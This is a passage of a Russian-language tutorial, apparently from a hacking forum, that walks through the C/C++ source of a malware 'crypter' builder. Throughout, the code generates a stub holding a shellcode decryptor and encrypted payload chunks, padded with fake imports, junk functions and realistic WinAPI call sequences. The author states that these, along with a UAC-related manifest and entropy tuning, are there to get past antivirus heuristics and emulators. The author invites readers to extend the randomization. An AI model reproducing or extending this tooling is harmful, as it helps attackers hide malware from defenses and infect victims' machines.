_Если дебажим криптор, то добавляем декриптор шеллкода (о его предназначении
позже)._

C:Copy to clipboard



PMCODE_BLOCK continue_block = ep.generate(config.code.blocks.count.min,config.code.blocks.count.max, IS_START_EP);

// add shellcode decryptor
#ifndef CONFIG_DEBUG_EMULATOR
add_decryptor(ep.get_code_generator(), continue_block, &patcher, idata, &payload);
#endif



**Настраиваем генератор кода, блоки генерации.**
_Если дебажим, добавляем выход до запуска криптованного файла (можно дебажить
как генерацию кода, так и эмуляторы антивирусов).
Опционально настариваем выход после отработки пайлоада для EXE и DLL. _

C:Copy to clipboard



mCodeLines lines(ep.get_code_generator(), continue_block);
// add extend data, to resize image, because crypted_image_size >= orig_image_size
#ifdef CONFIG_DEBUG_EMULATOR
lines.add("ExitProcess(0);\r\n");
#endif

if( orig_nt->FileHeader.Characteristics & IMAGE_FILE_DLL )
{
lines.add_ex(MCODELINE_FLAG_NO_TRASH, "return TRUE;\r\n");
}else{
ep.set_return(MVT_INT32);
}



**Выводим дебаг сообщение о времени генерации кода в секундах.**
_Генерируем ресурсы: manifest обходом UAC, версию инфо.
Настраиваем генерацию чунков (chunk) пайлоада.
Сохраняем сгенерированные ресурсы в rc файл. (он нужен чтобы студийчный
компилятор принял сгененированные ресурсы и добавил в финальный файл)._

C:Copy to clipboard



dbg(_T("Generation time: %d sec\n"), dbg_tget());

dbg_tset();

resource.generate_manifest_uac(); // create uac data
resource.generate_version_info();

PMPAYLOAD_CHUNK chunk;

if( ldr_restore_compiled && (chunk = payload.get_chunk(PAYLOAD_CHUNK_RCDATA)) )
{
PMBUF all_data = (PMBUF)mem_alloc(ldr_restore_compiled->size + chunk->entr_size);
if( all_data )
{
mem_copy(all_data->data, ldr_restore_compiled->data, ldr_restore_compiled->size);
mem_copy(&all_data->data[ldr_restore_compiled->size], chunk->entr_data, chunk->entr_size);

all_data->size = ldr_restore_compiled->size + chunk->entr_size;

resource.add_rcdata(1, all_data->data, all_data->size);

mem_free(all_data);
}
}

resource.save_resource(); // save .rc file in tmp/<rand>/ folder

if( !resource.is_empty() )
compiler.add_resource();



**В случае дебага мы сохраняем буфер патчера.**

C:Copy to clipboard



#ifdef _DEBUG

// only needed for build_pause.bat it's for manual building aka debug
if( patcher.get_count() )
{
mCode pline(4096);

PCHAR sdata = patcher.serialize();
PMSTRA out = mCode::convert_ascii(arg_out, -1);

pline << "patcher.exe \"" << out->string << "\" patcher.dat\r\n";

compiler.add_pause_line_ex( pline.get() );

CHAR path[MAX_PATH];

lstrcpyA(path, path_builder.get_tmp_folder());
lstrcatA(path, "patcher.dat");

file_put_contentsA(path, sdata, lstrlenA(sdata));

hfree(sdata);
hfree(out);
}

#endif



**Приступаем непосредственно к генерации кода:**

C:Copy to clipboard



DWORD image_size = 0;

DWORD rdata_size = 0;
DWORD data_size = 0;
DWORD total_size;

DWORD rdata_pos = 0;
DWORD data_pos = 0;

BOOL extend_vars_added = false;

for(DWORD compile_try = 0; image_size < orig_nt->OptionalHeader.SizeOfImage; compile_try++ )
{
if( image_size!=0 )
{
_tprintf(_T("Make corrections, rebuilding...\r\n"));
}

stub.clear();



**Добавляем заголовки файлов:**
_(я буду вырезать не относящийся к делу код, полная версия в архиве)_

C:Copy to clipboard



stub <<
"\r\n"
"//=============================================================\r\n"
"//= Includes Part\r\n"
"//=============================================================\r\n"
"#include <intrin.h>\r\n"
"#include <Objbase.h>\r\n"
"#include <Callobj.h>\r\n"
"#include <Shellapi.h>\r\n"
"#include <Urlmon.h>\r\n"
"#include <Prsht.h>\r\n"
"#include <Userenv.h>\r\n"
...
"\r\n"


**Добавляем библиотеки (libs):**

C:Copy to clipboard



"//=============================================================\r\n"
"//= Libs includes Part\r\n"
"//=============================================================\r\n"
"#pragma comment(lib,\"user32.lib\")\r\n"
"#pragma comment(lib,\"Comdlg32.lib\")\r\n"
"#pragma comment(lib,\"UrlMon.lib\")\r\n"
"#pragma comment(lib,\"Shell32.lib\")\r\n"
"#pragma comment(lib,\"oledlg.lib\")\r\n"
"#pragma comment(lib,\"Ole32.lib\")\r\n"
"#pragma comment(lib,\"AdvApi32.lib\")\r\n"
"#pragma comment(lib,\"WinInet.lib\")\r\n"
"#pragma comment(lib,\"Gdi32.lib\")\r\n"
"#pragma comment(lib,\"WS2_32.lib\")\r\n"
"#pragma comment(lib,\"opengl32.lib\")\r\n"
...
"\r\n"



**Добавляем фейковый импорт по-умолчанию (fake import):**
_из COMCTL, USER32, GDI32, comdlg32, ADVAPI32
Фейк импорт формируется из показанных ниже winapi + winapi сгенерированных
мусорным генератором.
Ваш хоум ворк расширить его и рандомизировать, благо движок позволяет сделать
это легко и красиво._

C:Copy to clipboard



"//=============================================================\r\n"
"//= Static Import Part\r\n"
"//=============================================================\r\n"
"DWORD COMCTL3295_Array[] = { (DWORD)CreateToolbarEx, (DWORD)ImageList_Remove, (DWORD)ImageList_ReplaceIcon,\r\n"
"(DWORD)InitCommonControlsEx, (DWORD)ImageList_Destroy, (DWORD)ImageList_Create, (DWORD)ImageList_SetBkColor};\r\n"
"\r\n"
"DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n"
"(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n"
"(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n"
"(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n"
"(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n"
"(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n"
"(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n"
"(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n"
"(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n"
"(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n"
"(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n"
"(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n"
"(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n"
"(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n"
"(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n"
"(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n"
"\r\n"
"DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n"
"\r\n"
"DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n"
"\r\n"
"DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n"
"(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n"
"\r\n"



**Добавляем дефайны winapi функций с аргументами (чтобы позже обращаться и
вывзывать фейк winapi в коде):**
_Закрываем буфер._

C:Copy to clipboard



"//=============================================================\r\n"
"//= Fake API Defines for future calls them without transformation\r\n"
"//=============================================================\r\n"
"#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n"
"#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n"
"#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n"
"#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n"
"#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n"
"#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n"
"#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n"
"#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n"
"#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n"
"#define k_CreateFileMappingW (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFileMappingW)\r\n"
"#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"
...
stub << "\r\n";


**Добавляем в код стаба seed и некоторые рабочие дефайны и тейпдефы.**
_mem_zero, mem_copy, mem_set - для работы с памятью.
структура LDR_RESTORE_PARAMS для передачи внутрь шеллкода загрузчика в
память._

C:Copy to clipboard



// some times i forgot to see seed in msvc output
CHAR str_seed[50];
wsprintfA(str_seed, "// Build seed: 0x%0.8X%0.8X\r\n", (DWORD)(random.get_seed() >> 32), (DWORD)random.get_seed());
stub << str_seed;

stub <<
"//=============================================================\r\n"
"//= Some crypt system defines and structures\r\n"
"//=============================================================\r\n"
"#define mem_zero(dest,size) __stosb((PBYTE)dest,0,size)\r\n"
"#define mem_copy(dest,source,size) __movsb((PBYTE)dest,(PBYTE)source,size)\r\n"
"#define mem_set(dest,bt,size) __stosb((PBYTE)dest,bt,size)\r\n\r\n"
"#pragma pack(push,1)\r\n"
"typedef struct _LDR_RESTORE_PARAMS\r\n"
"{\r\n"
" PBYTE orig_data;\r\n"
" PBYTE entr_data;\r\n"
" DWORD_PTR base;\r\n"
"}LDR_RESTORE_PARAMS, *PLDR_RESTORE_PARAMS;\r\n"
"#pragma pack(pop)\r\n"
"typedef void (WINAPI *TD_ldr_restore)(PLDR_RESTORE_PARAMS);\r\n"
"typedef HANDLE (WINAPI *TD_HeapCreate)(DWORD flOptions,DWORD dwInitialSize,DWORD dwMaximumSize);\r\n";



**Непосредственно процесс генерации чунков:**
/*
0 - text before
1 - text after
2 - data
3 - rdata
*/
_Нужно отметить, что чтобы использовать некоторые способы хранения чунков,
приходится генерировать asm файл, сохранять буфер в функциях payload_n и позже
линковать в итоговый файл.
Сам процесс разбора чунков смотрите в файле mPayloadChunks.cpp.
Движок способен контролировать и опционально менять энтропию чунков для
регулирования целостной энтропии всего криптованного файла, что помогает
обходить эвристики по статистическим детектам.
Пример передачи параметров в структуру восстановления чунков:_

> C:Copy to clipboard
>
>
> payload_chunks[2].offset = 0xF9D1D86F; // офсет чунка
> payload_chunks[3].max_step = 0xE8EFD715; // максимальный шаг (для
> восстановления данных после понижения\повышения энтропии)
> payload_chunks[1].max_step = 0x6BF3A4E6; // максимальный шаг (для
> восстановления данных после понижения\повышения энтропии)
> payload_chunks[2].entr_size = 0xF9D1FD61; // оригинальное значение
> энтропии блока
> payload_chunks[0].orig_size = 0x92D7FA87; // оригинальное значение
> размера блока
> payload_chunks[3].entr_data = (PBYTE)payload_1; // указатель на чунк
> payload_chunks[2].orig_size = 0xF9D1F23A; // оригинальное значение
> размера блока
> payload_chunks[1].orig_size = 0x6BF3B0F5; // оригинальное значение
> размера блока
> payload_chunks[1].entr_data = (PBYTE)payload_0; // указатель на чунк
> payload_chunks[2].entr_data = (PBYTE)payload_2; // указатель на чунк
> payload_chunks[1].offset = 0x6BF3A4E4; // офсет чунка
>
> Click to expand...




C:Copy to clipboard



if( payload.get_chunk(PAYLOAD_CHUNK_TEXT1) )
{
stub << "extern \"C\" void WINAPI payload_0();\r\n";
}

if( payload.get_chunk(PAYLOAD_CHUNK_TEXT2) )
{
stub << "extern \"C\" void WINAPI payload_1();\r\n";
}

if( image_size==0 )
{
mCode asm_file(0xFFFF);

if( (chunk = payload.get_chunk(PAYLOAD_CHUNK_TEXT1)) )
{
asm_file.clear();

if( orig_nt->FileHeader.Machine==IMAGE_FILE_MACHINE_I386 )
{
asm_file << ".586\r\n";
asm_file << ".model flat,stdcall\r\n";
}

asm_file << "option casemap:none\r\n";
asm_file << "option prologue:none\r\n";
asm_file << "option epilogue:none\r\n";
asm_file << ".code\r\n\r\npayload_0 proc\r\n";
asm_file << "; entr_size = " << chunk->entr_size << ", orig_size = " << chunk->orig_size << "\r\n";

payload.get_string(asm_file, PST_ASM, 0);

asm_file << "payload_0 endp\r\nend\r\n";

path_builder.add_file("payload_0.asm", asm_file.get(), asm_file.length());
compiler.add_asm_file("payload_0.asm");
}

compiler.add_main_cpp();

if( (chunk = payload.get_chunk(PAYLOAD_CHUNK_TEXT2)) )
{
asm_file.clear();

if( orig_nt->FileHeader.Machine==IMAGE_FILE_MACHINE_I386 )
{
asm_file << ".586\r\n";
asm_file << ".model flat,stdcall\r\n";
}

asm_file << "option casemap:none\r\n";
asm_file << "option prologue:none\r\n";
asm_file << "option epilogue:none\r\n";
asm_file << ".code\r\n\r\npayload_1 proc\r\n";
asm_file << "; entr_size = " << chunk->entr_size << ", orig_size = " << chunk->orig_size << "\r\n";

payload.get_string(asm_file, PST_ASM, 1);

asm_file << "payload_1 endp\r\nend\r\n";

path_builder.add_file("payload_1.asm", asm_file.get(), asm_file.length());
compiler.add_asm_file("payload_1.asm");
}
}

if( payload.get_chunk(PAYLOAD_CHUNK_DATA) )
{
stub << "BYTE payload_2[] = {\r\n";
payload.get_string(stub, PST_CPP, 2);
stub << "};\r\n";
}

if( payload.get_chunk(PAYLOAD_CHUNK_RDATA) )
{
stub << "const BYTE payload_3[] = {\r\n";
payload.get_string(stub, PST_CPP, 3);
stub << "};\r\n";
}



**Для правильной работы загрузчика у итогового файла должны быть правильные
виртуальные и физические размеры секций, выполняем настройку итоговых
размеров:**

C:Copy to clipboard



// not first call
if( image_size > 0 )
{
// need_size + extend data
total_size = (orig_nt->OptionalHeader.SizeOfImage - image_size) + random.get_equal(config.image.extend.min,config.image.extend.max);

// calculate total_size for .data, .rdata sections
// extend image
if( !config.image.rdata )
{
data_size += ALIGN_UP(total_size, 0x1000);
}else if( !config.image.data )
{
rdata_size += ALIGN_UP(total_size, 0x1000);
}else{
DWORD new_rdata_size = (total_size * config.image.rdata) / 100;
DWORD new_data_size = total_size - new_rdata_size;

rdata_size += ALIGN_UP(new_rdata_size,0x1000);
data_size += ALIGN_UP(new_data_size,0x1000);
}
}else{
if( globals.length() )
{
data_pos = random.get_less(0,globals.length());
rdata_pos = random.get_less(0,globals.length());
}else{
data_pos = 0;
rdata_pos = 0;
}
}

if( image_size > 0 && !extend_vars_added )
{
//lines.add("PBYTE pdata_extend = data_extend;\r\n");
//lines.add("PBYTE prdata_extend = (PBYTE)rdata_extend;\r\n");

extend_vars_added = true;
}



**Непосредственно расширяем размер секции rdata таким вот нехитрым триком:**

C:Copy to clipboard



if( !globals.length() )
{
if( image_size > 0 )
{
stub << "const BYTE rdata_extend[" << rdata_size << "] = {0};\r\n";
stub << "BYTE data_extend[" << data_size << "];\r\n";
}
}else{
MVAR_INFO* var = globals.first();
for(int i = 0; var ; i++ )
{
if( i==rdata_pos && image_size > 0 )
{
stub << "const BYTE rdata_extend[" << rdata_size << "] = {0};\r\n";
}

if( i==data_pos && image_size > 0 )
{
stub << "BYTE data_extend[" << data_size << "];\r\n";
}

stub << var->string << ";\r\n";

var = globals.next();
}
}



**Добавляем описание сгенерированных прототипов функций и результатов их
исполнения:**
_Пример:_

> Code:Copy to clipboard
>
>
> INT32 __stdcall function_trash_13(INT64 arg0, INT32 arg1, UINT32 arg2);
> INT32 __fastcall function_trash_10(INT32 arg0, INT32 arg1);
> INT32 __fastcall function_trash_8(UINT64 arg0);
> INT32 __cdecl function_trash_1();
> INT32 __stdcall function_trash_9(UINT64 arg0);
> INT32 __cdecl function_trash_12();
> INT32 __stdcall function_trash_11(UINT64 arg0, UINT32 arg1, UINT16 arg2,
> INT32 arg3, UINT16 arg4);
> INT32 __fastcall function_trash_6(UINT32 arg0, UINT64 arg1, INT8 arg2);
> INT32 __cdecl function_trash_3(UINT16 arg0, UINT16 arg1);
> INT32 __fastcall function_trash_4(INT8 arg0, INT16 arg1, INT64 arg2);
> INT32 __fastcall function_trash_5(INT32 arg0, INT32 arg1);
> INT32 __fastcall function_trash_2(UINT64 arg0, INT8 arg1, INT32 arg2,
> UINT16 arg3);
> INT32 __fastcall function_trash_7();
> INT32 __stdcall function_trash_13(INT64 arg0, INT32 arg1, UINT32 arg2)
>
> Click to expand...

C:Copy to clipboard



for(int i = 0; i < all_functions.get_count(); i++)
{
mFunction* func = all_functions.get_value(i);

if( !lstrcmpA(func->get_name(), "DllMain") || !lstrcmpA(func->get_name(), "WinMain") || !lstrcmpA(func->get_name(), "wWinMain") )
continue;

func->get_prototype_string(stub);
}

for(int i = 0; i < all_functions.get_count(); i++)
{
all_functions.get_value(i)->get_string(stub);
}



**Сохраняем итоговый стаб в сформированной директории:**

C:Copy to clipboard



_tprintf(_T("Building...\n"));
dbg_tset();

CHAR main_cpp_path[MAX_PATH];

lstrcpyA(main_cpp_path, path_builder.get_tmp_folder());
lstrcatA(main_cpp_path, "main.cpp");

file_put_contentsA(main_cpp_path, stub.get(), stub.length());

#ifdef _DEBUG
file_put_contentsA("...\\test_crypt\\main.cpp", stub.get(), stub.length());
#endif



**Финальные штрихи:**
_Генерируем пакетный файл с нужными нам параметрами для передачи компилятору и
линкеру.
Отчитываемся о времени на генерацию файла.
Удаляем временные папки.
Чистим переменные, память._

C:Copy to clipboard



// create bat file and build application
if( (image_size = compiler.build(arg_out))==-1 )
{
#ifdef _DEBUG
__debugbreak();
#endif
return;
}

_tprintf(_T("Build time: %d sec\n"), dbg_tget());
}

patcher.patch_markers();

_tprintf(_T("SUCCESS: Build created.\r\n"));

path_builder.remove_tmp_folder();

mem_free(idata);



**А теперь самая интересная часть:**
_Формируем паттерны генерации связок winapi вызовов (это не тупой рандомный
генеринг случайных winapi, это связки функций встречающиеся в реальном ПО.)
Например функция ReadFile без предварительного CreateFile вызовет агр у любого
эвристика, правильные связки последовательностей winapi и аргументы заставляют
эвристики молчать и добавлять балл к легитимности кода._

C:Copy to clipboard



void files_lock_constr(mImport *apis, mCode &str, API_TEMPLATE *tmpl, MVAR_INFO* arg, bool is_trash)
{
MIMPORT_KERNEL32_GROUP_FILES* info = (MIMPORT_KERNEL32_GROUP_FILES*)arg->userdata;

if( info->is_locked ) // locked
{
info->is_locked = false;

PMVAR_INFO var = apis->get_or_add_var(MVT_BOOL);

if( info->is_lock_ex )
{
//bugfix (0xC0000005): we must set reverved!=0, because hFile in code will be 0xffffffff, but LockFileEx check for console handle (hfile & 0x10000003)==3, and then take data vrom (hfile + 8), but it will be < 0x10000
str << var->name << " = UnlockFileEx(" << arg->name << ", " << random.get_equal(1,0xFF) << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", NULL);";
}else{
str << var->name << " = UnlockFile(" << arg->name << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", " << info->lock_vars[2]<< ", " << info->lock_vars[3] << ");";
}
}else{
info->is_locked = true;
info->is_lock_ex = random.get_equal(0,1);

PMVAR_INFO var = apis->get_or_add_var(MVT_BOOL);

if( info->is_lock_ex )
{
for(int i = 0; i < 2; i++)
{
info->lock_vars[i] = random.get_less(0,0x4000);
}

//bugfix (0xC0000005): we must set reverved!=0, because hFile in code will be 0xffffffff, but LockFileEx check for console handle (hfile & 0x10000003)==3, and then take data vrom (hfile + 8), but it will be < 0x10000
str << var->name << " = LockFileEx(" << arg->name << ", " << random.get_equal(1,2) << ", " << random.get_equal(1,0xFFFFFFFF) << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", NULL);";
}else{
for(int i = 0; i < 4; i++)
{
info->lock_vars[i] = random.get_less(0,0x4000);
}

str << var->name << " = LockFile(" << arg->name << ", " << info->lock_vars[0]<< ", " << info->lock_vars[1]<< ", " << info->lock_vars[2]<< ", " << info->lock_vars[3] << ");";
}
}
}



**Структура с вероятными генерируемыми winapi. (Вы можете расширить их до
бесконечности).**
_Движок криптора позволяет тонко настроить аргументы функций и диапазоны
генерации для различных типов данных._

C:Copy to clipboard



API_TEMPLATE files_read_write[] = {
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFile",{{NULL,PT_ARG},{NULL,PT_PTR_ANY},{NULL, PT_RAND,0,512},{NULL,PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NULL,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFileEx",{{NULL,PT_ARG},{NULL,PT_PTR_ANY},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "WriteFileGather",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_FILE_SEGMENT_ELEMENT},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},

{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFile",{{NULL,PT_ARG},{NULL,PT_PTR_ANY,0},{NULL,PT_RAND,0,512},{NULL,PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFileEx",{{NULL,PT_ARG},{NULL,PT_PTR_ANY,0},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_PTR_ADDVAR, MVT_BOOL}, "ReadFileScatter",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_FILE_SEGMENT_ELEMENT},{NULL,PT_RAND,0,512},{NULL,PT_NULL},{NULL,PT_NULL,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
};



**Можно очень глубоко настраивать генерацию и её опции:**
_Добавлен задел для некоторых winapi - расширяйте таблицу и код будет намного
вариабельнее._

C:Copy to clipboard



void files_read_write_constr(mImport *apis, mCode &str, API_TEMPLATE *tmpl, MVAR_INFO* arg, bool is_trash)
{
MIMPORT_KERNEL32_GROUP_FILES *info = (MIMPORT_KERNEL32_GROUP_FILES*)arg->userdata;

DWORD from, to;

switch( info->perm )
{
case 3: // read & write
from = 0;
to = 5;
break;
case 2: // write
from = 0;
to = 2;
break;
case 1:
from = 3;
to = 5;
break;
}

apis->parse(str, &files_read_write[ random.get_equal(from,to) ], arg, is_trash);
}

// {"",PT_ARG} - "" is string before param (example: (HANDLE)), PT_ARG argument will taking
// {NULL, PT_NONE} - no parameter

API_TEMPLATE files_templates[] = {
// {"Name_of_proc",FALSE,{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},

{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetFileSize",{{NULL,PT_ARG},{"(LPDWORD)",PT_PTR_ADDVAR,MVT_UINT32},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "GetFileSizeEx",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_LARGE_INTEGER},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetFileType",{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "GetFileInformationByHandle",{{NULL,PT_ARG},{NULL,PT_PTR_ADDVAR,MVT_BY_HANDLE_FILE_INFORMATION},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetEndOfFile",{{NULL,PT_ARG},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, files_lock_constr, {NULL, PT_ADDVAR, MVT_BOOL}, NULL, {{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "SetFilePointer",{{NULL,PT_ARG},{NULL,PT_RAND,0,0xFFFF},{NULL,PT_PTR_GETVAR_OR_NULL,MVT_INT32},{NULL,PT_RAND,0,2},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetFilePointerEx",{{NULL,PT_ARG},{NULL,PT_ADDVAR,MVT_LARGE_INTEGER},{NULL,PT_PTR_GETVAR_OR_NULL,MVT_LARGE_INTEGER},{NULL,PT_RAND,0,2},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "SetFileValidData",{{NULL,PT_ARG},{NULL,PT_RAND,0,0x7FFFFF},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
};

API_TEMPLATE sysinfo_templates[] = {
{NULL, NULL, {NULL, PT_NONE}, "GetNativeSystemInfo",{{NULL,PT_PTR_ADDVAR,MVT_SYSTEMINFO},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_NONE}, "GetSystemInfo",{{NULL,PT_PTR_ADDVAR,MVT_SYSTEMINFO},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetVersion",{{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "IsProcessorFeaturePresent",{{NULL,PT_RAND,0,15},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE},{NULL,PT_NONE,0},{NULL,PT_NONE,0},{NULL,PT_NONE,0}}},
{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_PTCHAR}, "GetCommandLine",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_PROCESS}, "GetCurrentProcess",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetCurrentProcessId",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_THREAD}, "GetCurrentThread",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetCurrentThreadId",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetLogicalDrives",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetLastError",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_HEAP}, "GetProcessHeap",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_UINT32}, "GetVersion",{{NULL,PT_NONE}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AreFileApisANSI",{{NULL,PT_NONE}}},
